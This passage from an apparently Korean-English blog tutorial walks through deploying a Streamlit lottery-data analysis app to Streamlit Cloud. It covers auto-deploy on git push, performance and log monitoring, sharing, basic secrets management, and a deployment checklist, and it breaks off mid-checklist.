&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2090&quot; data-origin-height=&quot;1485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DqzFe/dJMcag5iZxb/exrvaDDHHvIf1WIPbQQgJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DqzFe/dJMcag5iZxb/exrvaDDHHvIf1WIPbQQgJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DqzFe/dJMcag5iZxb/exrvaDDHHvIf1WIPbQQgJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDqzFe%2FdJMcag5iZxb%2FexrvaDDHHvIf1WIPbQQgJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2090&quot; height=&quot;1485&quot; data-origin-width=&quot;2090&quot; data-origin-height=&quot;1485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  5단계 배포 프로세스 (5-Step Deployment Process)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 1: Streamlit Cloud 접속 (Access Streamlit Cloud)&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;접속 (Visit)&lt;/b&gt;: &lt;a href=&quot;https://share.streamlit.io/&quot;&gt;https://share.streamlit.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로그인 (Login)&lt;/b&gt;: GitHub 계정으로 로그인 (Sign in with GitHub)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권한 승인 (Grant Permissions)&lt;/b&gt;: Streamlit이 GitHub 저장소 접근 허용&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 2: 새 앱 생성 (Create New App)&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ej2tb/dJMcaiWiZTD/qliHsx1KdOXFk51xOjZc01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ej2tb/dJMcaiWiZTD/qliHsx1KdOXFk51xOjZc01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ej2tb/dJMcaiWiZTD/qliHsx1KdOXFk51xOjZc01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEj2tb%2FdJMcaiWiZTD%2FqliHsx1KdOXFk51xOjZc01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1186&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;&quot;New app&quot; 버튼 클릭 (Click &quot;New app&quot; button)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;저장소 선택 (Select Repository)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Repository: &lt;code&gt;YOUR_USERNAME/lotter645_1227&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Branch: &lt;code&gt;main&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Main file path: &lt;code&gt;src/web_app.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;고급 설정 (Advanced Settings - Optional)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Python version: &lt;code&gt;3.11&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Secrets: (민감 정보가 있다면, If you have sensitive data)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;Deploy!&quot; 버튼 클릭 (Click &quot;Deploy!&quot; button)&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 3: 배포 대기 (Wait for Deployment)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배포 진행 상황 (Deployment Progress):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;[14:30:15] Starting deployment...
[14:30:18] Installing dependencies...
           ├── pandas 2.0.3
           ├── numpy 1.24.3
           ├── streamlit 1.28.1
           └── plotly 5.17.0
[14:31:42] Dependencies installed ✓
[14:31:45] Starting app...
[14:31:52] App is live! ✓&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;소요 시간 (Duration):&lt;/b&gt; 2-3분 (2-3 minutes)&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 4: 배포 완료 (Deployment Complete)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;성공 메시지 (Success Message):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;  Your app is live at:
https://YOUR_USERNAME-lotter645-1227-srcweb-app-abcdef.streamlit.app/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커스텀 URL 설정 (Custom URL - Optional):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Settings &amp;rarr; General &amp;rarr; App URL&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lo645251227.streamlit.app&lt;/code&gt; 같은 짧은 URL로 변경 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 5: 앱 테스트 (Test App)&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;URL 접속 (Visit URL)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;모든 페이지 확인 (Check all pages)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;  홈 (Home)&lt;/li&gt;
&lt;li&gt;  데이터 탐색 (Data Exploration)&lt;/li&gt;
&lt;li&gt;  번호 추천 (Recommendations)&lt;/li&gt;
&lt;li&gt;... (나머지 6개 페이지, Remaining 6 pages)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기능 테스트 (Test Features)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;번호 생성 (Generate numbers)&lt;/li&gt;
&lt;li&gt;차트 인터랙션 (Chart interaction)&lt;/li&gt;
&lt;li&gt;캐싱 동작 확인 (Verify caching)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 자동 배포 설정 (Auto Deploy Setup)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1185&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dz64Z8/dJMcafL41G2/jHPjwCtw1j4Rh1NKT59Ye0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dz64Z8/dJMcafL41G2/jHPjwCtw1j4Rh1NKT59Ye0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dz64Z8/dJMcafL41G2/jHPjwCtw1j4Rh1NKT59Ye0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdz64Z8%2FdJMcafL41G2%2FjHPjwCtw1j4Rh1NKT59Ye0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1185&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1185&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;⚡ Git Push = 자동 배포 (Git Push = Auto Deploy)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamlit Cloud의 마법 (Streamlit Cloud Magic):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Git push만 하면 &lt;b&gt;자동으로 재배포 (Automatically redeploys)&lt;/b&gt;!&lt;/li&gt;
&lt;li&gt;서버 재시작 불필요 (No server restart needed)&lt;/li&gt;
&lt;li&gt;빌드 스크립트 불필요 (No build scripts needed)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  자동 배포 워크플로우 (Auto Deploy Workflow)&lt;/h3&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 1. 로컬에서 코드 수정 (Edit code locally)
vim src/web_app.py

# 2. 테스트 (Test)
streamlit run src/web_app.py

# 3. Git 커밋 및 푸시 (Git commit &amp;amp; push)
git add src/web_app.py
git commit -m &quot;Update: Add new feature&quot;
git push origin main

# 4. Streamlit Cloud가 자동으로 감지 및 재배포 (Streamlit Cloud auto-detects and redeploys)
# ... 2-3분 후 (After 2-3 minutes)
#   새 버전 배포 완료! (New version deployed!)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배포 로그 (Deployment Logs):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;[15:42:10] Detected new commit: a3b2c1d
[15:42:12] Pulling latest code...
[15:42:15] Installing dependencies...
[15:43:28] Starting app...
[15:43:35] App updated successfully! ✓&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  배포 히스토리 (Deployment History)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamlit Cloud Dashboard에서 확인 가능 (Check in Streamlit Cloud Dashboard):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;배포 시간 (Deployment time)&lt;/li&gt;
&lt;li&gt;커밋 해시 (Commit hash)&lt;/li&gt;
&lt;li&gt;배포 상태 (Deployment status: Success/Failed)&lt;/li&gt;
&lt;li&gt;로그 (Logs)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 성능 모니터링 (Performance Monitoring)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caXcmQ/dJMcaiBZsNC/hMVHCJde5THXYwKr9J7vwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caXcmQ/dJMcaiBZsNC/hMVHCJde5THXYwKr9J7vwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caXcmQ/dJMcaiBZsNC/hMVHCJde5THXYwKr9J7vwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaXcmQ%2FdJMcaiBZsNC%2FhMVHCJde5THXYwKr9J7vwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1476&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  주요 지표 (Key Metrics)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1️⃣ 로딩 시간 (Loading Time)&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;작업 (Operation)&lt;/th&gt;
&lt;th&gt;시간 (Time)&lt;/th&gt;
&lt;th&gt;상태 (Status)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;First Load&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;3.5s&lt;/td&gt;
&lt;td&gt;⚠️ 개선 가능 (Can improve)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Cached Load&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0.5s&lt;/td&gt;
&lt;td&gt;✅ 좋음 (Good)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Data Update&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;1.2s&lt;/td&gt;
&lt;td&gt;✅ 양호 (OK)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Chart Render&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;0.8s&lt;/td&gt;
&lt;td&gt;✅ 양호 (OK)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개선 방법 (Improvement Methods):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;@st.cache_data&lt;/code&gt; 적극 활용 (Use caching aggressively)&lt;/li&gt;
&lt;li&gt;불필요한 데이터 로딩 제거 (Remove unnecessary data loading)&lt;/li&gt;
&lt;li&gt;차트 최적화 (Optimize charts)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2️⃣ 리소스 사용량 (Resource Usage)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamlit Cloud 무료 플랜 제한 (Free Plan Limits):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CPU&lt;/b&gt;: 1 vCPU (공유, Shared)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;메모리 (Memory)&lt;/b&gt;: 1GB&lt;/li&gt;
&lt;li&gt;&lt;b&gt;스토리지 (Storage)&lt;/b&gt;: 500MB&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 사용량 (Current Usage):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CPU: 15% (평균, Average)&lt;/li&gt;
&lt;li&gt;Memory: 120MB (12%)&lt;/li&gt;
&lt;li&gt;Storage: 45MB (9%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 여유롭게 운영 중! (Running comfortably!)&lt;/b&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3️⃣ 캐싱 효과 (Caching Impact)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Before vs After:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;캐싱 전 (Without Cache)&lt;/b&gt;: 15.5초&lt;/li&gt;
&lt;li&gt;&lt;b&gt;캐싱 후 (With Cache)&lt;/b&gt;: 0.45초&lt;/li&gt;
&lt;li&gt;&lt;b&gt;개선율 (Improvement)&lt;/b&gt;: &amp;darr;97%  &lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;캐시 히트율 (Cache Hit Rate):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 방문 (First Visit): 0% (캐시 생성, Build cache)&lt;/li&gt;
&lt;li&gt;재방문 (Return Visit): 95% (캐시 활용, Use cache)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4️⃣ 일별 접속자 수 (Daily Visitors - Example)&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;요일 (Day)&lt;/th&gt;
&lt;th&gt;방문자 수 (Visitors)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Monday&lt;/td&gt;
&lt;td&gt;45명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tuesday&lt;/td&gt;
&lt;td&gt;52명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;48명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Thursday&lt;/td&gt;
&lt;td&gt;61명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Friday&lt;/td&gt;
&lt;td&gt;58명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Saturday&lt;/td&gt;
&lt;td&gt;73명 ⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sunday&lt;/td&gt;
&lt;td&gt;68명&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트 (Insights):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주말에 트래픽 증가 (Weekend traffic peaks)&lt;/li&gt;
&lt;li&gt;평균 일일 방문자 (Average daily visitors): 57명&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  로그 모니터링 (Log Monitoring)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실시간 로그 확인 (View Real-time Logs):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# Streamlit Cloud Dashboard &amp;rarr; View Logs

[2025-01-10 14:30:15] Starting deployment...
[2025-01-10 14:30:18] Installing dependencies...
[2025-01-10 14:31:42] Dependencies installed
[2025-01-10 14:31:45] Starting app...
[2025-01-10 14:31:52] App is live!

# 사용자 액세스 로그 (User Access Logs)
[2025-01-10 15:23:41] GET / - 200 OK
[2025-01-10 15:23:45] POST /recommendations - 200 OK
[2025-01-10 15:24:12] GET /data-exploration - 200 OK&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;에러 디버깅 (Error Debugging):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# 에러 발생 시 (When error occurs)
[ERROR] ModuleNotFoundError: No module named 'pandas'
&amp;rarr; requirements.txt에 pandas 추가 (Add pandas to requirements.txt)

[ERROR] FileNotFoundError: Data/645_251227.csv
&amp;rarr; 파일 경로 확인 (Check file path)

[ERROR] MemoryError: Unable to allocate array
&amp;rarr; 데이터 크기 줄이기 또는 청크 처리 (Reduce data size or use chunking)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 배포 완료 및 공유 (Deployment Complete &amp;amp; Sharing)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  축하합니다! 앱이 라이브입니다! (Congratulations! Your App is Live!)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;최종 URL (Final URL):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;https://lo645251227.streamlit.app/&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  공유 방법 (How to Share)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1️⃣ 직접 링크 공유 (Share Direct Link)&lt;/h4&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;&quot;제 로또 분석 앱을 확인해보세요!&quot;
(Check out my Lotto analysis app!)

https://lo645251227.streamlit.app/&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2️⃣ QR 코드 생성 (Generate QR Code)&lt;/h4&gt;
&lt;pre class=&quot;elm&quot;&gt;&lt;code&gt;import qrcode

qr = qrcode.make(&quot;https://lo645251227.streamlit.app/&quot;)
qr.save(&quot;app_qr.png&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3️⃣ 소셜 미디어 공유 (Share on Social Media)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Twitter/X&lt;/b&gt;: &quot;Built a #Streamlit app for analyzing lottery data!  &quot;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LinkedIn&lt;/b&gt;: &quot;Deployed my data analysis project using Python &amp;amp; Streamlit&quot;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: README.md에 배포 URL 추가 (Add deployment URL to README.md)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  보안 고려사항 (Security Considerations)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Secrets 관리 (Manage Secrets):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;# 민감 정보는 Streamlit Secrets에 저장 (Store sensitive data in Streamlit Secrets)
# Settings &amp;rarr; Secrets

# secrets.toml 예시 (secrets.toml example)
[database]
username = &quot;your_username&quot;
password = &quot;your_password&quot;

# 코드에서 사용 (Use in code)
import streamlit as st
username = st.secrets[&quot;database&quot;][&quot;username&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. API 키 숨기기 (Hide API Keys):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;# ❌ 절대 하지 말 것 (NEVER do this)
API_KEY = &quot;sk-1234567890abcdef&quot;

# ✅ 올바른 방법 (Correct way)
API_KEY = st.secrets[&quot;api&quot;][&quot;key&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 인증 추가 (Add Authentication - Optional):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;import streamlit_authenticator as stauth

# 간단한 비밀번호 보호 (Simple password protection)
password = st.text_input(&quot;Password&quot;, type=&quot;password&quot;)
if password != st.secrets[&quot;app&quot;][&quot;password&quot;]:
    st.stop()&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  핵심 배운 점 (Key Takeaways)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;✅ Streamlit Cloud 장점 (Streamlit Cloud Advantages)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. &lt;b&gt;무료 배포 (Free Deployment)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;신용카드 불필요 (No credit card required)&lt;/li&gt;
&lt;li&gt;무제한 공개 앱 (Unlimited public apps)&lt;/li&gt;
&lt;li&gt;1GB 메모리 제공 (1GB memory provided)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. &lt;b&gt;자동 배포 (Auto Deploy)&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;Git push &amp;rarr; 자동 재배포 (Auto redeploy)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빌드 스크립트 불필요 (No build scripts)&lt;/li&gt;
&lt;li&gt;서버 관리 불필요 (No server management)&lt;/li&gt;
&lt;li&gt;CI/CD 자동 설정 (Automatic CI/CD)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. &lt;b&gt;간단한 설정 (Simple Setup)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3개 파일만 필요 (Only 3 files needed)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;requirements.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.streamlit/config.toml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.gitignore&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;클릭 몇 번으로 배포 완료 (Deploy with few clicks)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. &lt;b&gt;실시간 로그 (Real-time Logs)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;배포 상태 확인 (Check deployment status)&lt;/li&gt;
&lt;li&gt;에러 즉시 파악 (Identify errors instantly)&lt;/li&gt;
&lt;li&gt;성능 모니터링 (Monitor performance)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  배포 체크리스트 (Deployment Checklist)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배포 전 (Before Deployment):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; &lt;code&gt;requirements.txt&lt;/code&gt; 작성 완료 (requirements.txt ready)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; &lt;code&gt;.streamlit/config.toml&lt;/code&gt; 생성 (config.toml created)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; &lt;code&gt;.gitignore&lt;/code&gt; 설정 (gitignore configured)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 로컬에서 정상 작동 확인 (Local testing complete)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 민감 정보 제거 (Removed sensitive data)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GitHub 연동 (GitHub Integration):&lt;/b&gt;&lt;/p&gt;
